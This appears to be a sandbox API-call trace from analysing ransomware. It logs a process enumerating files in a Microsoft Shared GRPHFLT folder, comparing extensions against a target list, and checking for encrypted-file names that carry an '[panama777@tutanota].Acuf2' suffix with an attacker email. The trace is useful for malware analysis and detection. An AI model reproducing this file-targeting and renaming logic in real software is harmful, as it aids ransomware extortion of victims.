	[0249.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.711] lstrlenW (lpString=".dbf") returned 4
	[0249.711] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1
	[0249.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.711] lstrlenW (lpString=".1cd") returned 4
	[0249.711] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1
	[0249.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.711] lstrlenW (lpString=".jpg") returned 4
	[0249.711] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1
	[0249.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.711] lstrlenW (lpString=".doc") returned 4
	[0249.711] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1
	[0249.711] lstrlenW (lpString=".docx") returned 5
	[0249.711] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1
	[0249.711] lstrlenW (lpString=".pdf") returned 4
	[0249.711] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1
	[0249.711] lstrlenW (lpString=".xls") returned 4
	[0249.711] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1
	[0249.711] lstrlenW (lpString=".xlsx") returned 5
	[0249.711] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1
	[0249.711] lstrlenW (lpString=".ppt") returned 4
	[0249.711] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1
	[0249.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.711] lstrlenW (lpString=".zip") returned 4
	[0249.711] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1
	[0249.711] lstrlenW (lpString=".rar") returned 4
	[0249.711] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1
	[0249.711] lstrlenW (lpString=".bz2") returned 4
	[0249.711] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1
	[0249.711] lstrlenW (lpString=".7z") returned 3
	[0249.712] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1
	[0249.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.712] lstrlenW (lpString=".dbf") returned 4
	[0249.712] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1
	[0249.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.712] lstrlenW (lpString=".1cd") returned 4
	[0249.712] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1
	[0249.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67
	[0249.712] lstrlenW (lpString=".jpg") returned 4
	[0249.712] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1
	[0249.712] lstrcmpiW (lpString1=".FLT", lpString2=".Acuf2") returned 1
	[0249.712] lstrlenW (lpString="JPEGIM32.FLT") returned 12
	[0249.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0249.713] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=241024) returned 1
	[0249.713] CloseHandle (hObject=0x298) returned 1
	[0249.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20
	[0249.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.713] lstrlenW (lpString=".doc") returned 4
	[0249.713] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1
	[0249.713] lstrlenW (lpString=".docx") returned 5
	[0249.713] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1
	[0249.713] lstrlenW (lpString=".pdf") returned 4
	[0249.713] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1
	[0249.713] lstrlenW (lpString=".xls") returned 4
	[0249.713] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1
	[0249.713] lstrlenW (lpString=".xlsx") returned 5
	[0249.713] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1
	[0249.713] lstrlenW (lpString=".ppt") returned 4
	[0249.714] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1
	[0249.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.714] lstrlenW (lpString=".zip") returned 4
	[0249.714] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1
	[0249.714] lstrlenW (lpString=".rar") returned 4
	[0249.714] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1
	[0249.714] lstrlenW (lpString=".bz2") returned 4
	[0249.714] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1
	[0249.714] lstrlenW (lpString=".7z") returned 3
	[0249.714] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1
	[0249.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.714] lstrlenW (lpString=".dbf") returned 4
	[0249.714] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1
	[0249.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.714] lstrlenW (lpString=".1cd") returned 4
	[0249.714] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1
	[0249.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.714] lstrlenW (lpString=".jpg") returned 4
	[0249.714] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1
	[0249.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.714] lstrlenW (lpString=".doc") returned 4
	[0249.714] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1
	[0249.714] lstrlenW (lpString=".docx") returned 5
	[0249.714] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1
	[0249.714] lstrlenW (lpString=".pdf") returned 4
	[0249.714] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1
	[0249.714] lstrlenW (lpString=".xls") returned 4
	[0249.714] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1
	[0249.714] lstrlenW (lpString=".xlsx") returned 5
	[0249.714] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1
	[0249.715] lstrlenW (lpString=".ppt") returned 4
	[0249.715] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1
	[0249.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.715] lstrlenW (lpString=".zip") returned 4
	[0249.715] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1
	[0249.715] lstrlenW (lpString=".rar") returned 4
	[0249.715] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1
	[0249.715] lstrlenW (lpString=".bz2") returned 4
	[0249.715] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1
	[0249.715] lstrlenW (lpString=".7z") returned 3
	[0249.715] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1
	[0249.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.715] lstrlenW (lpString=".dbf") returned 4
	[0249.715] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1
	[0249.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.715] lstrlenW (lpString=".1cd") returned 4
	[0249.715] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1
	[0249.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67
	[0249.715] lstrlenW (lpString=".jpg") returned 4
	[0249.715] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1
	[0249.715] lstrcmpiW (lpString1=".CGM", lpString2=".Acuf2") returned 1
	[0249.715] lstrlenW (lpString="MS.CGM") returned 6
	[0249.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0249.716] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=1908) returned 1
	[0249.716] CloseHandle (hObject=0x298) returned 1
	[0249.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20
	[0249.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.716] lstrlenW (lpString=".doc") returned 4
	[0249.716] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1
	[0249.716] lstrlenW (lpString=".docx") returned 5
	[0249.717] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1
	[0249.717] lstrlenW (lpString=".pdf") returned 4
	[0249.717] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1
	[0249.717] lstrlenW (lpString=".xls") returned 4
	[0249.717] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1
	[0249.717] lstrlenW (lpString=".xlsx") returned 5
	[0249.717] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1
	[0249.717] lstrlenW (lpString=".ppt") returned 4
	[0249.717] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1
	[0249.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.717] lstrlenW (lpString=".zip") returned 4
	[0249.717] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1
	[0249.717] lstrlenW (lpString=".rar") returned 4
	[0249.717] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1
	[0249.717] lstrlenW (lpString=".bz2") returned 4
	[0249.717] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1
	[0249.717] lstrlenW (lpString=".7z") returned 3
	[0249.717] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1
	[0249.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.717] lstrlenW (lpString=".dbf") returned 4
	[0249.717] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1
	[0249.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.717] lstrlenW (lpString=".1cd") returned 4
	[0249.717] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1
	[0249.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.717] lstrlenW (lpString=".jpg") returned 4
	[0249.717] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1
	[0249.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.717] lstrlenW (lpString=".doc") returned 4
	[0249.718] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1
	[0249.718] lstrlenW (lpString=".docx") returned 5
	[0249.718] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1
	[0249.718] lstrlenW (lpString=".pdf") returned 4
	[0249.718] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1
	[0249.718] lstrlenW (lpString=".xls") returned 4
	[0249.718] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1
	[0249.718] lstrlenW (lpString=".xlsx") returned 5
	[0249.718] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1
	[0249.718] lstrlenW (lpString=".ppt") returned 4
	[0249.718] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1
	[0249.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.718] lstrlenW (lpString=".zip") returned 4
	[0249.718] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1
	[0249.718] lstrlenW (lpString=".rar") returned 4
	[0249.718] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1
	[0249.718] lstrlenW (lpString=".bz2") returned 4
	[0249.718] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1
	[0249.718] lstrlenW (lpString=".7z") returned 3
	[0249.718] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1
	[0249.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.718] lstrlenW (lpString=".dbf") returned 4
	[0249.718] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1
	[0249.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.718] lstrlenW (lpString=".1cd") returned 4
	[0249.718] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1
	[0249.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61
	[0249.718] lstrlenW (lpString=".jpg") returned 4
	[0249.718] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1
	[0249.719] lstrcmpiW (lpString1=".WPG", lpString2=".Acuf2") returned 1
	[0249.719] lstrlenW (lpString="MS.WPG") returned 6
	[0249.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0249.719] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=1382) returned 1
	[0249.719] CloseHandle (hObject=0x29c) returned 1
	[0249.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20
	[0249.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.720] lstrlenW (lpString=".doc") returned 4
	[0249.720] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1
	[0249.720] lstrlenW (lpString=".docx") returned 5
	[0249.720] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1
	[0249.720] lstrlenW (lpString=".pdf") returned 4
	[0249.720] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1
	[0249.720] lstrlenW (lpString=".xls") returned 4
	[0249.720] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1
	[0249.720] lstrlenW (lpString=".xlsx") returned 5
	[0249.720] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1
	[0249.720] lstrlenW (lpString=".ppt") returned 4
	[0249.720] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1
	[0249.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.720] lstrlenW (lpString=".zip") returned 4
	[0249.720] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1
	[0249.720] lstrlenW (lpString=".rar") returned 4
	[0249.720] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1
	[0249.720] lstrlenW (lpString=".bz2") returned 4
	[0249.720] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1
	[0249.720] lstrlenW (lpString=".7z") returned 3
	[0249.720] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1
	[0249.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.720] lstrlenW (lpString=".dbf") returned 4
	[0249.720] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1
	[0249.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.721] lstrlenW (lpString=".1cd") returned 4
	[0249.721] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1
	[0249.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.721] lstrlenW (lpString=".jpg") returned 4
	[0249.721] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1
	[0249.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.721] lstrlenW (lpString=".doc") returned 4
	[0249.721] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1
	[0249.721] lstrlenW (lpString=".docx") returned 5
	[0249.721] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1
	[0249.721] lstrlenW (lpString=".pdf") returned 4
	[0249.721] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1
	[0249.721] lstrlenW (lpString=".xls") returned 4
	[0249.721] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1
	[0249.721] lstrlenW (lpString=".xlsx") returned 5
	[0249.721] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1
	[0249.721] lstrlenW (lpString=".ppt") returned 4
	[0249.721] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1
	[0249.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.721] lstrlenW (lpString=".zip") returned 4
	[0249.721] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1
	[0249.721] lstrlenW (lpString=".rar") returned 4
	[0249.721] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1
	[0249.721] lstrlenW (lpString=".bz2") returned 4
	[0249.721] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1
	[0249.721] lstrlenW (lpString=".7z") returned 3
	[0249.721] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1
	[0249.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.721] lstrlenW (lpString=".dbf") returned 4
	[0249.721] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1
	[0249.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.721] lstrlenW (lpString=".1cd") returned 4
	[0249.722] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1
	[0249.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61
	[0249.722] lstrlenW (lpString=".jpg") returned 4
	[0249.722] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1
	[0249.722] lstrcmpiW (lpString1=".FLT", lpString2=".Acuf2") returned 1
	[0249.722] lstrlenW (lpString="PICTIM32.FLT") returned 12
	[0249.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x298
	[0249.723] GetFileSizeEx (in: hFile=0x298, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=73080) returned 1
	[0249.723] CloseHandle (hObject=0x298) returned 1
	[0249.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20
	[0249.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.723] lstrlenW (lpString=".doc") returned 4
	[0249.723] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1
	[0249.723] lstrlenW (lpString=".docx") returned 5
	[0249.723] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1
	[0249.723] lstrlenW (lpString=".pdf") returned 4
	[0249.723] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1
	[0249.723] lstrlenW (lpString=".xls") returned 4
	[0249.723] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1
	[0249.723] lstrlenW (lpString=".xlsx") returned 5
	[0249.723] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1
	[0249.723] lstrlenW (lpString=".ppt") returned 4
	[0249.723] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1
	[0249.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.723] lstrlenW (lpString=".zip") returned 4
	[0249.723] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1
	[0249.723] lstrlenW (lpString=".rar") returned 4
	[0249.723] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1
	[0249.724] lstrlenW (lpString=".bz2") returned 4
	[0249.724] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1
	[0249.724] lstrlenW (lpString=".7z") returned 3
	[0249.724] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1
	[0249.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.724] lstrlenW (lpString=".dbf") returned 4
	[0249.724] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1
	[0249.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.724] lstrlenW (lpString=".1cd") returned 4
	[0249.724] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1
	[0249.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.724] lstrlenW (lpString=".jpg") returned 4
	[0249.724] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1
	[0249.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.724] lstrlenW (lpString=".doc") returned 4
	[0249.724] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1
	[0249.724] lstrlenW (lpString=".docx") returned 5
	[0249.724] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1
	[0249.724] lstrlenW (lpString=".pdf") returned 4
	[0249.724] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1
	[0249.724] lstrlenW (lpString=".xls") returned 4
	[0249.724] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1
	[0249.724] lstrlenW (lpString=".xlsx") returned 5
	[0249.724] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1
	[0249.724] lstrlenW (lpString=".ppt") returned 4
	[0249.724] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1
	[0249.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67
	[0249.724] lstrlenW (lpString=".zip") returned 4
	[0249.724] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1
	[0249.724] lstrlenW (lpString=".rar") returned 4
	[0249.724] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1
	[0249.725] lstrlenW (lpString=".bz2") returned 4
	[0249.725] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1
	[0249.725] lstrlenW (lpString=".7z") returned 3
